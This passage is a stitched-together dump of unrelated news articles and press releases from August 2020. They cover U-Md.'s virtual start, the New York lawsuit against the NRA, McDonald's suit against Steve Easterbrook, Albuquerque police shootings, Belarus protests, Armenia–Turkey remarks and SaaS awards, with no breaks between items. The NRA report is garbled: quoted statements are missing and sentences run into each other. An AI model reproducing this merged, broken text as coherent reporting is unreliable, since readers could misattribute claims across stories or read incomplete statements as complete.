fall. But Darryll Pines, the new president of U-Md., announced Monday that undergraduate classes would be held virtually until mid-September because of the prevalence of the coronavirus in Maryland and Prince George's County, where the College Park campus is located. The most recent seven-day positivity rate in the county is the highest in the state at 5.4%, Pines said in a message to the campus. The president asked that all students - those living on and off campus - stay in their homes as much as possible in early September. "It is our fervent hope and expectation that we will resume in-person and blended instruction on September 14," Pines wrote. "At the same time, the health of our university community and slowing the spread of COVID-19 must remain our continuing and unwavering priorities." Graduate instruction and research activities are expected to continue as planned. Campus move-in will proceed as planned this month, but with fewer students than normal. Officials are projecting occupancy of less than 45%; last fall, more than 11,000 students lived on campus, university data shows. In addition to getting tested before coming to campus, per guidelines set by the state's public higher education system that oversees College Park and 11 other institutions, Pines told students that they will also be required to be tested after their arrival. The university is offering free testing from Aug. 17 through the end of the month for members of the campus community, Pines said. Those who get tested will be asked to stay in their homes or on-campus residences until a negative result is produced, Pines said. If an individual tests positive for the coronavirus, they will be required to self-isolate for 14 days. The school is one of many locally and nationally to pivot abruptly to a new reopening plan for undergraduates amid the pandemic. Last week, Johns Hopkins University in Baltimore announced a shift to virtual instruction for the fall and urged students to stay home. Howard University made a similar announcement and canceled on-campus housing for most students. Pines acknowledged that many students want to know whether they should return to campus and that it was a complex question. "Instead, I urge every student to have a thoughtful conversation with their families and loved ones and decide what is right for them," Pines said. "Regardless if students take up residence this fall or not, we are here to provide a high-quality educational experience." New York Attorney General Letitia James announced Thursday that the state is suing the National Rifle Association (NRA) and several of its high-profile leaders, and looking to "dissolve" the organization over alleged financial irregularities.The NY AG announced early Thursday that her office was planning a major announcement that would have a national impact. Although many anticipated an investigation or charges against President Donald Trump or members of his family, the NY AG said she was suing to "dissolve" the NRA over "fraud and abuse," citing recent reports and an internal investigation she claims show fiscal mismanagement.James wrote on Twitter.The lawsuit, James claims, is a consumer interest move designed to protect NRA members and donors.she wrote.James claims that LaPierre and others used donations meant to go toward preserving the Second Amendment on private travel and meals, and alleges that LaPierre and at least three others breached their fiduciary duty to organization members, diverting "tens of millions of dollars" from the organization's mission.John Frazier, Woody Phillips, and Joshua Powell, three other NRA executives, are mentioned by name in the suit, which accuses the four of usingIn a separate press release, the New York Attorney General's office accused the NRA of "illegal conduct," includingJames is taking an extreme approach to suggested remedies, demanding that the NRA, which is chartered in New York, be dissolved.the NRA said in a statement responding to the lawsuit, which has yet to be filed.The NY AG has been investigating the NRA for more than a year, according to ABC News an investigation they claim gives rise to Thursday's lawsuit. But the NRA itself has been experiencing internal turmoil for some time. Back in April, the organization sued longtime ad agency, Ackerman McQueen, exposing ongoing internal battles over leadership and direction. In May, a trove of leaked documents surfaced online, purportedly showing a conflict between LaPierre, then-NRA President retired Lt. Col. Oliver North, and several other board members over allegations of "secretive" dealings, per ABC.Supporters of the NRA questioned the NY AG's timing, given that the organization typically pours millions into Republican campaigns, and President Donald Trump's 2020 re-election campaign would likely see large donations from the gun rights organization.The lawsuit is expected to be filed Thursday. Australians were furious when Channel 10's left-leaning current affairs show The Project survived the network's brutal round of job cuts this week. But there's a reason why the struggling program - hosted by Waleed Aly, Carrie Bickmore and Peter Helliar - will never be axed, despite its low ratings. Daily Mail Australia understands The Project avoided cancellation because Channel 10 boss Beverley McGarvey considers it an essential part of the daily schedule. Why The Project survived Channel 10's lay-offs: The current affairs show will never be axed because network bosses 'won't hear a bad word about it', a source tells Daily Mail Australia. Pictured: The Project hosts Peter Helliar (left), Waleed Aly (centre) and Carrie Bickmore (right) The Project premiered to 1.2 million viewers in 2009, but in the decade since has slumped in the ratings, with just 507,000 people tuning in on Monday. The program, which is produced by Rove McManus' company Roving Enterprises, is hosted weeknights by Aly, Bickmore and Helliar, alongside a rotating panel of guest presenters, including Tommy Little, Gorgi Coghlan and Rachel Corbett. The Sunday edition is hosted by former Today anchor Lisa Wilkinson, who is said to be earning between $1million and $2.3million per year. On Tuesday, The Project and its hosts managed to avoid the swinging axe as the broadcaster announced a dramatic 'restructuring' of its news division, with the likes of Kerri-Anne Kennerley, Natarsha Belling and Tim Bailey being made redundant. The 'restructure' was in response to the sharp decline in advertising revenue caused by the coronavirus recession. It's going nowhere! Channel 10 bosses will always stand by The Project because it is perceived as a 'sacred' part of the network's schedule, despite its low ratings and controversies. Pictured (left to right): Helliar, Aly, Bickmore and guest presenter Tommy Little Sacred: 'Senior management won't hear a bad word said against it,' a well-placed insider told Daily Mail Australia earlier this year, adding that 'higher-ups at Channel 10 love The Project, even though the viewers don't.' Pictured: The Sunday Project host Lisa Wilkinson A well-placed source told Daily Mail Australia earlier this year: 'For some reason, the higher-ups at Channel 10 love The Project, even though the viewers don't. It doesn't rate, it's expensive to produce and a lot of the publicity it generates is negative.' The insider added that despite many staffers believing the show 'peaked years ago', management sees it as one of the network's 'sacred cows' and 'will do anything to protect it'. They explained: 'Although it fails to attract a big audience, it does do well in certain demographics. There's also the argument that it is popular on Facebook and drives social engagement, but that doesn't translate to advertising dollars. 'Still, it will never be cancelled because senior management won't hear a bad word said against it.' Despite recent calls for The Project to be cancelled, the show has won several Logie Awards over the years for Most Popular Panel and Most Popular Presenter, which are voted for by the public. In fact, Aly was awarded the coveted Gold Logie for Most Popular Personality on Australian Television in 2016. A decade on: The Project premiered to 1.2 million viewers in 2009, but in the decade since has slumped in the ratings, with just 507,000 people tuning in on Monday Divisive? Despite the uproar, The Project has won several Logie Awards over the years for Most Popular Panel and Most Popular Presenter, which are voted for by the public. In fact, Aly was awarded the coveted Gold Logie for Most Popular Personality on Australian Television in 2016 Bickmore is the only panelist to remain on the show since its launch in 2009. 'At the beginning, I don't think we really knew a hundred per cent what we were in the show,' she told 10 Daily last year. 'All of those things take time and I think with each new person that comes to the desk and every person that leaves, the show shifts slightly. 'The vibe of the show changes and I think that's a good thing. If it stayed exactly the way it was 10 years ago then I think it would be a bore.' At least 25 jobs have been axed at Channel 10 overall, with further redundancies to be announced in the coming weeks, and the changes are expected to be effective from September 14. Daily Mail Australia has contacted Channel 10 for comment. The Muslim Rights Concern (MURIC), on Tuesday said it has no link with any terrorist group in or outside Nigeria. The director of the organisation, Ishaq Akintola, made this known in a statement in Lagos. Akintola gave assurance that the group was disciplined and would never be affiliated with any terrorist group. Our attention has been drawn to a rumour that MURIC received 200,000 dollars from Islamic State for West Africa Province (ISWAP). It is a wicked concoction from the pit of Jahannam. We declare clearly, categorically that we have never had any contact with ISWAP or any other terrorist group. We remain committed to the unity and indivisibility of Nigeria, the organisations director said. Mr Akintola, a professor, noted that the allegation was illogical, saying that the group has always condemned every act of terror, whether it happened within or outside the country. The motto of MURIC is dialogue, not violence. So how can we descend so low as to collect money from terrorists? Such lies will not fly. The terrorists themselves know that we can never support them. How can they give us money? The allegation is dead on arrival. We are a disciplined group. We have never been known to engage in any violent protest or attack since establishment of MURIC in 1994. It is most diabolical to accuse a group that has pursued peaceful advocacy for 26 years of having any connection with terrorists, he said. READ ALSO: Mr Akintola appealed to the federal government to investigate the source of the information, adding that MURIC has never been involved in any international activity. We deliberately restricted ourselves to the Nigerian environment in order to avoid complications. We have enough on our hands within the country. So how can a former intelligence chief from far away Mali show interest in us? We urge our detractors to desist from their evil ways and pursue the path of honour, he said. (NAN) McDonald's is suing its former CEO, Steve Easterbrook, over alleged inappropriate relationships with another employees, while he was running the company. On Monday, the firm accused Easterbrook of allegedly covering up his relationships with three other employees and destroyed evidence, the Associated Press reported. Based on the complaint filed in state court in Delaware, McDonald's has launched an investigation into Easterbrook's relationship with a McDonald's employee last October. The probe concluded that the relationship was consensual and never included a physical relationship. At that time, Easterbrook told independent outside counsel that he had never engaged in any sexual relationship with McDonald's employees. Nevertheless, Easterbrook was terminated in November for violating company policies banning "intimate interactions." Going for a smooth transition, McDonald's did not seek "for-cause termination," and the former CEO was granted millions of dollars in severance pay and benefits. But now, McDonald's claimed that it obtained new evidence in July uncovering sexual relationships between Easterbrook and other employees, the New York Times reported. McDonald's probe showed that in the year before Easterbrook was fired, he carried on sexual relationships with three employees and approved a grant of restricted stock, worth hundreds of thousands of dollars, to one of those employees. McDonald's alleged that Easterbrook destroyed evidence of those relationships and sexually explicit photos and videos sent from corporate email accounts inside his cell phone. The former CEO allegedly removed the evidence before he was fired to prevent investigators from discovering it. However, the evidence remained on the firm's email servers. McDonald's did not state why the servers weren't checked during the initial investigation and relied on Easterbrook to be truthful. "That reliance caused the company injury," the company said in the complaint. McDonald's further noted that it would not have terminated Easterbrook without cause if it had known the additional relationships. The famous fast-food giant wanted to reclaim millions of dollars it compensated to Easterbrook. In a message to employees on Monday, McDonald's President and CEO Chris Kempczinski said the company does not tolerate employees' behavior that does not reflect their values. Kempczinski also told employees that he is committed to ensuring that employees are comfortable. He encouraged employees to come forward with any details about behavior that doesn't go with the company's values. McDonald's is said to conduct a global survey and listening sessions to assess its corporate culture. The assessment will be shared to employees when completed in November, according to the message of Heidi Capozzi, McDonald's Chief People Officer, obtained by the Associated Press . Easterbrook was fired after admitting exchanging videos and text messages in a consensual but non-physical relationship with an employee. Esterbrook told McDonald's there were no other similar instances and that the initial inspection of his cellphone confirmed that. According to Equilar that tracks executive compensation, McDonald's approved a separation agreement "without cause" that allowed Easterbrook to keep almost $42 million in stock-based benefits. He also collected 26 weeks of pay, amounting to about $670,000. With the filing of a lawsuit, McDonald's is attempting to block Easterbrook from practicing his stock options and demands compensatory damages. It remains unclear how much Easterbrook might have to pay. In the lawsuit, McDonald's said Easterbrook's separation agreement showed that his 2018 and 2019 equity awards may be forfeited if the company determines he has engaged in "detrimental conduct." In those two years, Easterbrook was awarded more than $29 million in stock-based compensation. Easterbrook had his divorce in 2015. It happened the same year when he became the CEO of McDonald's. He started his career with McDonald's when he served as a finance manager in London in 1993. The lawsuit highlighted the years-long reckoning again over sexual harassment at Chicago-based McDonald's and its 39,000 restaurants. In the United States alone, more than 50 workers have filed separate sexual harassment charges against the firm before the U.S. Equal Employment Opportunity Commission or state courts. Meanwhile, the group Leaders with Fight for $15, which supports higher wages and unions for fast food workers, said Monday that McDonald's should use any money it regains from Easterbrook for worker-led programs that combat sexual harassment. Check these out: Cool Brazilian Flip-Flop Havaianas has New Japanese-Inspired Design Where Do Businesses Usually Overspend? Smart Mask: Japanese Startup Robotics Invention, Can Translate Eight Languages Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Warsaw, Poland Tue, August 11, 2020 11:45 526 6657ac82168da9fa101c8a4066d0ffa8 2 World Poland,Belarus,EU,European-Union,summit Free Poland on Monday called for an emergency European Union summit on the situation in Belarus after clashes in the night in Minsk over a disputed presidential election. "The authorities have used force against their citizens, who are demanding change in the country. We must support the Belarusian people in their quest for freedom," Prime Minister Mateusz Morawiecki said in a statement. Morawiecki said he had written to European Commission president Ursula von der Leyen and EU Council President Charles Michel with the request for a summit. A European official said consultations were underway ahead of a probable statement on the "very serious developments" in Belarus but warned it was "very difficult" to confirm reports from the country because of official restrictions and slow internet. Michel wrote on Twitter that "violence against protesters is not the answer". "Freedom of speech, freedom of assembly, basic human rights must be upheld," he said. Belarus borders Russia to the east, Ukraine to the south and EU member states Poland, Lithuania and Latvia to the north and west. In a joint statement on Sunday, Polish President Andrzej Duda and Lithuanian President Gitanas Nauseda had urged Belarus "to fully recognise and uphold basic democratic standards" including freedom of speech. "We are convinced that closer cooperation with the European Union is in the interest of Belarus... and stand ready to continue to provide further support to Belarus in deepening its relations with the united European family," they wrote. File Photo By Zhang Zhihua and Tian Dingyu MOSCOW, Aug. 11 -- Over 190 service members of the PLA Ground Force participating in the International Army Games (IAG) 2020 arrived in Moscow on August 10, marking that all 260 Chinese participants of the IAG have arrived in Russia. And then, all pieces of equipment involved will also be transferred to game venues accordingly. At 12 pm local time on August 10, more than 190 soldiers of the PLA Army took two military transport aircraft and flew to Moscow from Urumqi Diwopu International Airport. Before this, some of their participating equipment had been delivered to Russia from the Manzhouli port by rail. They will participate in five subjects in the IAG 2020, includingthe "Tank Biathlon" and the "Open Water" events. Moreover, the paratroopers from the PLA Air Force airborne troops participating in the "Airborne Platoon" event have also arrived in Moscow by military transport aircraft. According to information, in response to the impact of the COVID-19 pandemic and the IAG task arrangements, this years transportation and delivery methods of the PLA's participating troops and equipment have been adjusted accordingly. The participating troops, project teams, command teams, interpreters, reporters, and other personnel were all transported to Russia point-to-point by military transport aircraft accurately, so as to reduce contact with outside personnel in transit and reduce the risk of infection. It is learnt that all the PLA participant teams will conduct isolation observation and nucleic acid testing at designated locations following the unified requirements of Russian side. The Russian side will be responsible for transferring all PLA teams to various competition venues, hand over weapons and equipment, and arrange adaptability training. The competition is scheduled to kick off on August 23. In a span of about five hours between Monday night and early Tuesday morning, Albuquerque police officers shot and killed two men in separate incidents. The first incident began around 8 p.m. with a neighbor dispute in a West Side neighborhood near Taylor Ranch. Police identified the man who was killed as 48-year-old Jose Vallejos. The second occurred across town around 1 a.m. following a call about a home invasion in which police said the suspect exchanged gunfire with officers. The name of the man who was killed has not been released. Police say firearms were involved in both cases. The Multi Agency Task Force is investigating, as is standard. Officials provided information at the scene but have not disclosed additional details. When asked if he had any reaction to the two shootings, Mayor Tim Keller acknowledged that its a difficult and tragic time for the families of those who were killed. At this point we know these are extremely difficult situations for our officers and so we appreciate everything we believe was done to minimize any violence or danger to anyone, Keller said. As usual the details will be combed through in the camera video and so forth. The shootings are the fifth and sixth by the Albuquerque Police Department so far this year. Two of the previous shootings that of Orlando Abeyta, who police say was waving what turned out to be a BB gun at an East Central bus stop, and Valente Acosta-Bustillos, who police say swung a shovel at them during a welfare check that turned into an arrest were fatal. The overnight shootings spurred a protest outside APDs Downtown headquarters on Tuesday evening. Dozens showed up for the event, organized by The Red Nation, an Indigenous activist group. What happened last night is a tragedy, Jennifer Marley, an organizer with The Red Nation, said through a megaphone. And it cannot happen again and again and again. The crowd chanted slogans against police brutality and called for the defunding of the Albuquerque Police Department, referring to APD as unreformable. Speakers cited the citys high number of police shootings compared to national averages and the crowd waved signs that said Stop Killing, Enough is Enough and Abolish all of it. A neighbor dispute Residents of a quiet West Side neighborhood near Taylor Ranch say the men who lived next to each other in the elbow of the street where Sooner Trail meets Pecos Trail NW had been fighting for years. Their fight boiled over Monday night and police say around 8:15 p.m. officers were sent to the area because a caller said his neighbor had pointed a firearm at him. Officers were given the information that one of the neighbors was armed with a firearm and to compound the problem there was a young child that was positioned between the two feuding neighbors, said Deputy Chief Harold Medina in a news conference at the scene shortly before midnight. He said officers arrived on scene and there was some kind of altercation. At least one officer fired a gun and Vallejos was struck at least once. He died on scene and a firearm was located nearby, said an APD spokesman. Its unknown if anyone else fired any type of firearm, Medina said. Medina did not know how old the child was or what relationship they had to those involved in the fight. He said the child was talking on the phone with 911 during the incident and was not hurt. Medina said at least three officers were on scene but he did not know how many fired shots. He said at least one officer will be placed on administrative leave, which is standard following a shooting. About a dozen family members gathered in the street outside the crime scene tape, crying and asking field service officers for more information, late into the night. Brenda Romero said Vallejos was the father of her husbands brother. She said they were told that police were called to Vallejos home and there was a shooting, but little else. She said officers were talking to his wife and Medina confirmed detectives interviewed several witnesses. We havent been able to speak to him or anything, Romero said around 9:45 p.m. We have bits and pieces of neighbors saying they saw an ambulance leave. Neighbors also gathered in front of their houses, talking and trying to see the crime scene down the street. JoAnn Rodriguez said she was outside watering her plants when she heard what sounded like a loud argument a block or so away. It sounded like people arguing and they were screaming at each other, Rodriguez said. Others said they thought they heard more than one gunshot and a woman screaming that someone had been killed. By Tuesday afternoon, the neighborhood was quiet. No one was home at Vallejos house and a sign on the door warned Never mind the dog beware of the owner and had an image of the barrel of a gun. Other signs in the window discouraged solicitors, saying the residents believed in Jesus and knew who they were going to vote for. Next door was an expansive house with a gated driveway, a boat, an RV and a jet ski. The owners were talking to a Bernalillo County Sheriffs deputy and did not return calls from the Journal. Gunfire exchange Around 1 a.m., about five hours after the call that led to the first shooting, neighbors in a University-area neighborhood of Southeast Albuquerque heard two gunshots ring out. Within 10 minutes of the first shots there was a volley of gunfire, soon followed by the reds and blues of police lights reflecting off nearby windows. In a news conference at that scene, Deputy Chief Medina said it started when police were called to a home in the 2700 block of Garfield, near Vassar SE. He said a homeowner called 911 and told the dispatcher that he had opened fire on multiple people after they broke into his home. When officers arrived, they found a man a few houses away and, Medina said, that man fired at police. He said at least one officer shot back, hitting him. No officers were injured. The man was taken to the hospital, where he died. Medina said, at this point, it is unclear if the man who police shot was involved in the alleged home invasion, and he did not provide any other details about the initial call. He said at least one officer will be on standard administrative leave while authorities investigate. Police have not identified the man who was shot or said if there were any other suspects being sought. A neighbor in the area told the Journal they called 911 after hearing rapid bursts of gunfire and a woman screaming. The man said an ambulance pulled up and took at least one person away. Numerous police vehicles shut down the surrounding streets as crime scene tape wound around a block of Garfield, between Vassar and Princeton SE. A car alarm could be heard droning on nearby as officers told onlookers to go back inside their homes. Investigators walked along the surrounding streets and alleyways with flashlights, searching the ground for evidence as a mobile crime lab idled at the corner. As the sun rose Tuesday morning, investigators had laid out evidence markers in the street, alongside parked cars and homes. Mask-clad officers went in and out of a home that had a visible bullet hole through the front window identified with a thick square of orange tape. No one answered the door Tuesday afternoon. By that time, much of the Albuquerque police, yellow tape and evidence markers, had moved out, and State Police officers could be seen going door-to-door interviewing neighbors about what happened as part of the Multi Agency Task Force investigation. When COVID-19 struck, life came crashing down for people around the world. From how we work to the ways our kids learn, much of what we took for granted suddenly changed. In times like these, entrepreneurs have a responsibility to develop products and programs that make more than a bottom-line impact. Theyve risen to the challenge in all sorts of ways, from offering their services in safer ways to financially supporting families that are struggling. To be sure, those are social goods, but a number of entrepreneurs have gone the extra mile. Here are five ways theyre demonstrating above-and-beyond social responsibility during the pandemic. 1. Making education accessible COVID-19 ground education systems to a halt. Universities cut their semester short, sending students home to complete the rest virtually. Parents whod never home-schooled before were forced to put on their teacher hats. As an entrepreneur, you may not be a parent, but youve been a student. Think about how you can fill gaps left by a lack of classroom instruction. Edtech company Instructure, for instance, supports distance learning by pairing customized modules with videoconferencing services. Lean in the direction of your expertise. If you taught yourself to code, could you offer a coding bootcamp? Perhaps you could set up a tutoring service in a subject of your specialty. Related: How Online Learning will Change the Education System post Covid-19 2. Pivoting a product Entrepreneurs know that product development must shift as the markets needs do. Never has that been more true than during the pandemic. Start with your mission. Notify, a nurse-call technology platform, went into business to help caregivers respond to emergencies sooner. For the COVID-19 crisis, it built an application to facilitate no-contact communication between patients and their doctors. Get creative. Could a concept similar to something you already have on the market make a difference? If youre an apparel company, could you develop a quick-dry mask? Perhaps grocery packaging is your swim lane: What about a virucidal plastic thats safe for food contact? 3. Going above and beyond on prevention Even if you dont have a product that can give people a leg up on the pandemic, there are still plenty of ways to make a difference. Think about your customers risk exposure, and help them cover their bases (and faces). HyVee made headlines by doing exactly that. In late July, the midwestern grocery chain announced it would distribute three million free face masks to shoppers. Its also placing signs in its stores to remind shoppers to keep their distance. People take cues from the companies they do business with. Be a model. Insist that your team members wear face coverings, even if its not legally required in your area. Post guides in restrooms to help customers wash their hands thoroughly. Offer small bottles of hand sanitizer as freebies. Related: COVID-19 Will Fuel the Next Wave of Innovation 4. Making mental health a priority The pandemic has been tough on everyone, but service workers have had it particularly hard. Not only do they put their lives at risk when they work, but relatively few receive employer-sponsored health insurance. In a partnership with Lyra Health, coffee giant Starbucks is giving up to 20 free therapy sessions to its team members. To address the financial component of mental health, Starbucks also announced catastrophe pay for team members who miss work as a result of exposure to the virus. Some members of your team will struggle with mental health more than others, and thats OK. Share a list of mental health resources in your area. Point out what mental health benefits your insurance plan provides them. Be generous with breaks and empathetic with those who are anxious about exposure at work. 5. Helping to strengthen social ties Millions of Americans are cooped up at home in an effort to slow the viruss spread. Help them stay socially connected while doing the right thing. AT&T, Spring, Verizon and all sorts of other telecommunications companies have signed a pledge to help Americans stay in touch. Theyve agreed to not terminate service because a customer cant pay, waive late fees incurred as a result and make their Wi-Fi hotspots public. Your business might not be able to go quite that far, but it can help people keep their social ties strong in all sorts of other ways. Create online communities that cater to everyone, not just your customers. Host virtual events that put people in touch with each other (think platonic speed-dating). Related: How to Support Employees Mental Health as You Return to the Office Your business doesnt just serve communities; its part of them. Do your part to protect them. Think about how you can maximize your impact. During and after the pandemic, your generosity wont go unnoticed. Related: When Will My Next Stimulus Check Arrive? (Updated) Apple CEO Tim Cook Hits Billionaire Status California Wins Injunction Against Uber and Lyft, Classifying Drivers as Contractors Copyright 2020 Entrepreneur.com Inc., All rights reserved THE Bishop of Limerick and Killaloe is leading the tributes to Wayne Carney, the Archdeacon of Killaloe and Rector of Birr who has died unexpectedly. Kenneth Kearon says its impossible to describe the shock and sadness that members of the church at his sudden passing. He was a good and loyal friend, a true pastor and an able and caring Archdeacon. He will be greatly missed by the church communities in Birr and beyond where his ecumenical commitment and community engagement was well known, he said. He served his diocese in many roles and was widely known and respected throughout the church and in wider society, he added. Archdeadon Carney is survived by his wife Norma-Jean and their children Kathleen and Brian Ordained in 1984 in Canada, he came to Ireland in 1995, first as Rector in the Clonfert Group of Parishes. He was appointed Archdeacon of Killaloe in 2002 and was installed as Rector of Birr in 2003. He has been a member of the Chapter of St Patricks Cathedral since 2012. Funeral arrangements will be announced later. The Chairman of the Volta Regional Council of Elders for the National Democratic Congress (NDC), Dan Abodakpi has disassociated himself from news publications that claimed he had made a comment on tribal politics. Recent reports on some news outlets indicate that the Chairman advised Voltarians to reject NDC tribal politics. The attention of this office has been drawn to a fake news item on tribal politics and some alleged people trying to show fake love for we #VOLTARIANS circulating on various social media platforms purported to have come from Hon. Dan Abodakpi, a statement from his office said. He, however, described as malicious, the write-up emanating from political opportunists and further asked all well-meaning persons to disregard that piece with the utmost contempt it deserves. Furthermore, Dan Abodapki demanded that the perpetrators of this mischievous endeavour are advised, in their own interest, to cease and desist from spreading such falsehoods. Find below the full statement: The attention of this office has been drawn to a fake news item on tribal politics and some alleged people trying to show fake love for we #VOLTARIANS circulating on various social media platforms purported to have come from Hon. Dan Abodakpi. Hon. Dan Abodakpi wishes to distance himself from the said malicious write-up emanating from political opportunists, and urges all well-meaning persons to disregard that piece with the utmost contempt it deserves. Source: citinewsroom.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Leaders of more than two dozen of the New York City area's largest employers including JPMorgan Chase, Ernst & Young, IBM, McKinsey & Company and Accenture aim to hire 100,000 low-income residents and people of color by 2030 and will help prep them for tech jobs. Why it matters: As the city's economy has boomed, many New Yorkers have been left behind particularly during the pandemic. The hiring initiative marks an unusual pact among firms, some of them competitors, to address systemic unemployment. What's happening: A new group that calls itself the New York Jobs CEO Council says it plans to hire 100,000 New Yorkers over the next decade with a focus on low-income people and those from Black, Latinx and Asian communities. That includes hiring and offering apprenticeships to 25,000 students from the City University of New York, whose colleges traditionally serve low-income students and students of color. The focus will be on training for entry-level technology jobs for instance, students may be taught to code in Python and other useful computer languages. The CEO Council has hired Dr. Gail Mellow, who most recently was head of CUNY's LaGuardia Community College, to spearhead the project. She'll serve as a liaison, letting the CUNY colleges know what type of training the companies need and helping place students at the firms. The backstory: The initiative started before the pandemic, but has taken on particular urgency since then, as health and income discrepancies have emerged and as the nation has grappled with systemic racism. "Its become more clear that companies have to do more in terms of income inequality, and this is one thing that I think will help a great deal," Carmine Di Sibio, CEO of Ernst & Young, tells Axios. As part of the initiative, companies like E&Y will relax their hiring standards for some entry-level tech jobs e.g., no longer requiring four-year or advanced degrees. "Over time, the qualification for these jobs have gotten a lot more difficult versus what is actually needed for these jobs," Di Sibio says. The bottom line: Many New Yorkers are stuck in low-paying jobs with little hope of advancement, and the New York Jobs CEO Council marks an effort to make a dent in the problem. The diplomatic agencies of Armenia and Turkey have exchanged acrimonious remarks this week over a century-old treaty viewed differently from Yerevan and Ankara. A conference was held in Armenia on August 10 to mark the 100th anniversary of the Treaty of Sevres that was signed between the Allies of World War I, a coalition led by France, Britain, the United States and others, and the Central Powers, including the Ottoman Empire. The 1920 treaty that was never ratified by Turkey, if implemented, would, in particular, have given Armenia a much larger territory than it had, including access to the Black Sea. In his address to scholars attending the Yerevan conference Armenian Prime Minister Nikol Pashinian described the treaty signed in a Parisian suburb as a historical fact. Just as the Treaty of Versailles established peace in Europe, in the same way, the Treaty of Sevres was meant to bring peace to the former Western Asian territories of the Ottoman Empire. It put an end to the war-driven sufferings and deprivations experienced by the peoples of our region. It heralded the end of the cursed years, Pashinian said. The Treaty of Sevres reaffirmed our nations indisputable historical association with the Armenian Highland, wherein the Armenian people had originated, lived, developed their statehood and culture for millennia, he added. The remarks by Pashinian and other Armenian leaders, including President Armen Sarkissian, on the occasion elicited a strong reaction from Turkey that described the Treaty of Sevres as a case that put forward the disgraceful blueprints of invasion and destruction. The Honorable Turkish Nation sent the Sevres [Treaty] to the ash heap of history through its heroic War of Liberation, followed by the Peace Treaty of Lausanne of 24 July 1923. It is not surprising to see that those who opt for drawing animosity instead of a lesson from history after the lapse of a century hope for help from this document, the Turkish Foreign Ministry said in a statement published on its official website on Monday. Reacting to the statement made from Ankara, Armenian Foreign Ministry spokesperson Anna Naghdalian on August 11 said that it once again demonstrates the inability of that country [Turkey] to face its past. While evading to face its past and urging others to take lessons from history instead of animosity, Turkey continues its traditional policy of justifying the Armenian Genocide and threatening the Armenian people with new atrocities, Naghdalian said in an official commentary. Turkeys steps towards undermining the peace and security in our region and its military posturing against Armenia are part of the expansionist policy of the Turkish Government which is aimed at destabilizing its neighboring regions. Only the reconsideration of such a policy and the capacity to face the past by Turkey will pave a way for genuine reconciliation between the peoples in our region, the Armenian Foreign Ministry representative underscored. Armenia and Turkey have no diplomatic relations. Internationally backed efforts for rapprochement in 2008-2009 eventually led to no normalization and the border between the two neighboring countries remains closed to date. HIGHLANDS RANCH, Colo., Aug. 11, 2020 /PRNewswire/ -- Field Squared, Inc.TM, the industry's first Field Service Automation Platform, today announced that it is a finalist in the 2020 SaaS Awards Program in the Bespoke SaaS Solution of the Year category. Now in its fifth year of celebrating software innovation, the Software-as-a-Service Awards program accepts entries worldwide, including the US, Canada, Australasia, EMEA and UK. Oftentimes field service management software forces an organization's business processes into the software provider's view of how work is conducted. This outdated approach marginalizes how the expertsthe organization that ultimately uses the softwareactually manages operations. Field Squared's all-in-one field service automation software serves as the digital backbone of an organization's operations and is instead configured to its highly individualized business processes. The result is semi-tailor-made solution to help organizations increase efficiency, reduce costs and consolidate systems. Head of operations for the SaaS Awards, James Williams, said: "Software-as-a-service's force for positive disruption never seems to abate, with seemingly unending solutions for modern business. This year is of course a special case, with SaaS not only at the forefront of remodelling existing business processes, but also agilely responding with pioneering solutions to unavoidable global disruptions." "It is an honor to be recognized and shortlisted by the SaaS Awards for our ground-breaking field service automation software," said Christopher James Camut, Director, President and CEO at Field Squared. "This reinforces the hard work and commitment Field Squared makes every day to continually innovate, bringing to bear forward-looking solutions." Contact details For Field Squared Tiffany Aasted VP of Marketing at Field Squared [email protected] For the SaaS Awards James Williams head of operations https://www.cloud-awards.com/software-as-a-service-awards/ [email protected] About the SaaS Awards The SaaS Awards is a sister program to the Cloud Awards, which was founded in 2011. The SaaS Awards focuses on recognizing excellence and innovation in software solutions. Categories range from Best Enterprise-Level SaaS to Best UX or UI Design in a SaaS Product. About Field Squared Field Squared is the industry's first unified Field Service Automation Platform. As a cloud-based SaaS solution, Field Squared is flexible, scalable and purpose-built to optimize the efficiency of the mobile workforce in the field. Focusing on business process automation, Field Squared enables enterprises to digitally transform, automate and streamline their field service operations, from the frontline to back-office systems. Learn more at www.fieldsquared.com/company. SOURCE Field Squared, Inc. Related Links http://www.fieldsquared.com LEHI, Utah, Aug. 11, 2020 /PRNewswire/ -- Nuvi, the leading enterprise Social Customer Experience (CX) platform, has been recognized as one of the world's fastest-growing Software-as-a-Service (SaaS) companies, according to the 2020 edition of SaaS Mag's acclaimed ranking: The SaaS 1000 list of the top fastest-growing SaaS companies. SaaS Mag's annual "SaaS 1000" features the fastest-growing SaaS companies in the world based on a proprietary algorithm that identifies SaaS organizations leading their markets, from large enterprises to smaller startups. "We have seen tremendous growth and interest in our Social CX collaboration platform as many enterprise businesses look to leverage real-time social data to engage with customers, employees, and partners to address the current environment created by COVID and are unable to operate normally," stated Michael Mullarkey, CEO of Nuvi. "Customer Experience collaboration and remote work have accelerated. Digital Transformation projects that were expected to take five years are happening in a matter of months; we are well-positioned to deliver the tools, technology, and talent needed to assist our business partners and executives when they need it most." Nuvi's Social CX platform leverages collaboration across its suite of products, enabling brands to drive real value and ROI on their CX investments. Designed to enhance a marketing team's efficiency and ability to develop relationships at every touchpoint of the customer journey, Nuvi helps foster brand loyalty, reduce churn, and enhance customer retention all while driving increased customer lifetime value. The SaaS 1000 list recognizes rapidly growing SaaS companies with 30 to 5000 employees. The ranking is determined by SaaS Mag's proprietary algorithm which analyses hiring trends, growth indicators, and employee count by tracking a SaaS company's 6-month employee-size growth and overall employee size. Other Notable Utah companies on this year's list include DOMO, Workfront, Pluralsight, Lucid. Past SaaS 1000 honorees include Salesforce, Workday, Basecamp, WP Engine, Vimeo, G2, and many other remarkable alumni. About Nuvi Nuvi is a customer experience management and social analytics software platform built on an industry-leading language engine. Nuvi helps you listen, plan, publish, engage, analyze, locate, review, and capture your way to better customer experiences. For more information, see Nuvi in action. About SaaS Mag SaaS Mag is the world's largest quarterly SaaS publication informing leaders in the industry on business, technical, and market trends. The publication is distributed to tens of thousands of SaaS professionals and features advice, profiles of innovative people and companies, and industry commentary. For more information on SaaS Mag please contact [email protected]. Press Contact: Brian Collier 801-830-5620 https://www.nuvi.com SOURCE Nuvi Related Links https://www.nuvi.com They went on a masked Monday outing to Malibu's famed Country Mart for some lunch and shopping. And Lisa Rinna looked to be in her element alongside her family, consisting of husband 